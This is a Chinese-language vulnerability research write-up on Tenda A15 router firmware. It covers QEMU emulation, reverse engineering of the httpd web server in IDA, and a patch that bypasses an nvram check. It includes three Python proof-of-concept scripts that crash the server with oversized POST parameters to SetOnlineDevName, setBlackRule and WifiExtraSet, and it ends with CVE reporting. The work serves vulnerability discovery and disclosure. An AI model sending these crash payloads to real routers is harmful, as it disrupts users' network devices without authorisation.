前言
几个星期前,初来训练营,初学AC15的漏洞挖掘。前几天偶然发现AC15有新的漏洞CVE-2025-0566,打算看看。发现该漏洞属于A15设备,并非AC15,那就顺水推舟分析下A15固件安全吧。
固件模拟
固件解压
下载后,使用binwalk
解压
查看固件架构
使用file
命令,得知是MIPS LSB 32位
架构
checksec
未开启Canary
和PIE
固件信息收集
使用firmwalker
进行固件信息收集
~/Desktop/Apps/firmwalker_pro main*
❯ ./firmwalker.sh ~/Desktop/Firmwares/a15/squashfs-root > ~/Desktop/Firmwares/a15/firm
walker_scan.txt
发现 web
服务是httpd
程序
启动项分析
查看/etc_ro/init.d/rcS
文件进行启动项分析,可知启动项进行了拷贝文件夹。
我们也跟着手动创建一遍,可以避免后面程序模拟启动,文件夹为空的问题。
用户模拟
我们开始先尝试qemu
用户模拟
~/Desktop/Firmwares/a15/squashfs-root
❯ cp $(which qemu-mipsel-static) qemu-mipsel-static
~/Desktop/Firmwares/a15/squashfs-root
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd
发现能成功启动,但ip
配置错误,这里我们就要使用ida
进行分析了
逆向分析httpd
查找赋值ip
的位置
向上查找,查看sockaddr.sin_addr
被赋值的地方
得知是函数参数进行赋值的
按x
查看该函数的交叉引用,
继续交叉引用查找
发现是br0IP
赋值给了程序的ip
,所以我们这里得知ip
地址是br0
网卡的ip
,于是我们开始创建br0
网卡
创建br0
sudo brctl addbr br0
sudo ifconfig br0 192.168.0.1
成功创建
再次启动
做完上面这些之后,我们还要把固件包中
webroot_ro
文件夹的内容复制到webroot
里面,不然网页端会提示page not found
,这点我们可以由前面启动项分析得出。
~/Desktop/Firmwares/a15/squashfs-root/lib
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd
成功启动并访问。
系统模拟
前面尝试了用户模拟,接下来,我们来进行mipsel
系统模拟
主机网卡配置脚本
注意:先把主机网卡配置好,再启动
qemu-system-mipsel
脚本
#!/bin/bash
# 创建名为 tap0 的虚拟网络接口
sudo tunctl -t tap0
# 配置 tap0 接口的 IP 地址和子网掩码
sudo ifconfig tap0 192.168.0.4/24 up
# 启用 IP 转发
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null
# 配置 NAT (假设物理机外网接口是 ens33)
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
# 允许 tap0 接口的数据包转发
sudo iptables -A FORWARD -i tap0 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -j ACCEPT
echo "tap0 接口创建和配置完成。"
~/Desktop/Firmwares/qume_system
❯ ./net.sh
[sudo] password for kali:
Set 'tap0' persistent and owned by uid 0
tap0 接口创建和配置完成。
qemu-system-mipsel
启动脚本
#!/bin/sh
qemu-system-mipsel \
-M malta \
-kernel /home/kali/Desktop/Apps/qemu-images/mipsel/vmlinux-2.6.32-5-4kc-malta \
-hda /home/kali/Desktop/Apps/qemu-images/mipsel/debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no
~/Desktop/Firmwares/qume_system
❯ sudo ./mipsel.sh
mips虚拟机
ip link add br0 type dummy
ifconfig eth0 192.168.0.5/24
ifconfig br0 192.168.0.6/24
传输文件
将文件进行传输,解压文件后,启动即可
chroot . sh
./bin/httpd
同样成功模拟。
ssh连接
启用ssh
sudo service ssh start
sudo service ssh status
直接ssh连接下,发现无法连接
查看openssl
版本,发现是虚拟机ssh版本太老
解决方案:加上-oHostKeyAlgorithms=+ssh-rsa
~/Desktop/Firmwares/qume_system
❯ ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.0.5
成功ssh
登录
逆向分析与漏洞挖掘
找到定义所有函数的地方,方便我们我们测试这些函数
我们要重点关注set
类型的函数,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险。
分析处理SetOnlineDevName
请求的formSetDeviceName
函数
我们先来查看formSetDeviceName
函数,它用于处理SetOnlineDevName
请求
由图可见,该函数是一个用于设置设备名称的,处理两个请求的参数mac
和devName
,然后使用set_device_name
方法进行处理,进去set_device_name
查看具体处理逻辑。
我们注意到,两个参数被传给了sprintf
,而sprintf
由于未使用格式化字符,且两个参数都未限制长度和校验,因此存在栈溢出和格式化字符串漏洞
下面我们进行poc的编写
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/SetOnlineDevName'
payload = {
"mac": '9c:fc:e8:da:9c:5b'*0x100,
"devName": 'devname1'
}
res = requests.post(url=url, data=payload)
print(res.content)
执行脚本后发现,程序并未崩溃,同时打印出了set device name error!
这与我们预期的不一致,打开ida,进行逆向分析
IDA patch
箭头处,就是问题所在,这个外部函数是进行写入nvram
设备的操作,而我们是qemu用户模拟所以导致这个函数调用会失败,导致判断if
进入打印报错。
这里我们直接进行patch,改变控制逻辑。
bnez
(Branch if Not Equal to Zero) 是 MIPS 架构中的 条件分支指令,它的作用是:
如果寄存器的值不等于 0,则跳转到指定的标签(目标地址)。
这里我们直接patch
为nop
在汇编语言中,
nop
指令表示 "No Operation",即 空操作。执行这条指令时,处理器什么都不做,单纯消耗一个时钟周期。
然后保存patch
结果即可
再次执行脚本
再次执行前面的脚本后,程序崩溃,证明存在该漏洞,攻击者任选mac
和devName
参数即可进行攻击
分析处理setBlackRule
请求的formAddMacfilterRule
函数
接下来查看处理setBlackRule
请求的formAddMacfilterRule
函数
这个函数的主要功能是用于处理添加MAC地址过滤规则。
看到箭头处rule
接收的是deviceList
参数,然后给parse_macfilter_rule
进行处理。
我们跟进函数分析。
发现我们传入的deviceList
最终会作为source_rule
拷贝给了dest_rule->name
,这个就是经典的strcpy
栈溢出漏洞,经过查看,前面也并未限制长度,只进行了\r
是否包含的校验,如下图
rule_tmp = strchr(source_rule, 13);
上述代码判断source_rule
是否包含\r
,如包含返回1
,不包含返回0
,因此我们要让代码执行到strcpy
处,必须要在我们的脚本参数中添加\n
我们开始编写poc
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/setBlackRule'
payload = {
'deviceList': 'a' * 0x100+ '\r'
}
r = requests.post(url=url, data=payload)
print(r.content)
执行脚本后,程序成功崩溃
分析处理WifiExtraSet
请求的fromSetWirelessRepeat
函数
接下来我们分析处理WifiExtraSet
请求的fromSetWirelessRepeat
函数
ssida <- "originSsid5g"
ssid_encodea <- "encode5g"
securitya <- "security5g"
wpapsk_typea <- "wpapsk_type5g"
wpapsk_cryptoa <- "wpapsk_crypto5g"
wpapsk_keya <- "wpapsk_key5g"
这些参数都是我们前端post
请求中需要携带的参数
然后sprintf
打印出来后,交由if
中的set_repeat5
这个函数进行处理
我们进入这个函数,查看处理的代码
这个函数set_repeat5
的主要功能是配置5GHz无线网络的参数。
虽然调用了一堆strcpy
函数,但我们真正关心上面方框位置处。
wpapsk_crypto
由我们前端发送的wpapsk_crypto5g
赋值,而它的值会拷贝给wpapsk_cryptovalue
,之前并未进行安全检查,所以我们可以利用该点作为栈溢出漏洞。
POC
下面我们来进行poc的编写,
import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/WifiExtraSet'
payload = {
'configured5g': 'true',
'originSsid5g': '1234',
'encode5g': '1234',
'security5g': 'wpapsk',
'wpapsk_type5g': 'wpa2',
'wpapsk_crypto5g': 'a'* 0x12,
'wpapsk_key5g': '1234567890'
}
res = requests.post(url=url, data=payload)
print(res)
设置WifiExtraSet
的其他参数正常填写,然后将wpapsk_crypto5g
参数用较长的字符数来填充实现缓冲区溢出。
执行我们的脚本,最终程序崩溃,漏洞点存在。
CVE申请
上述漏洞经过历史查找,并未找到对应申报情况,于是我们将发现的这个漏洞上报给CVE。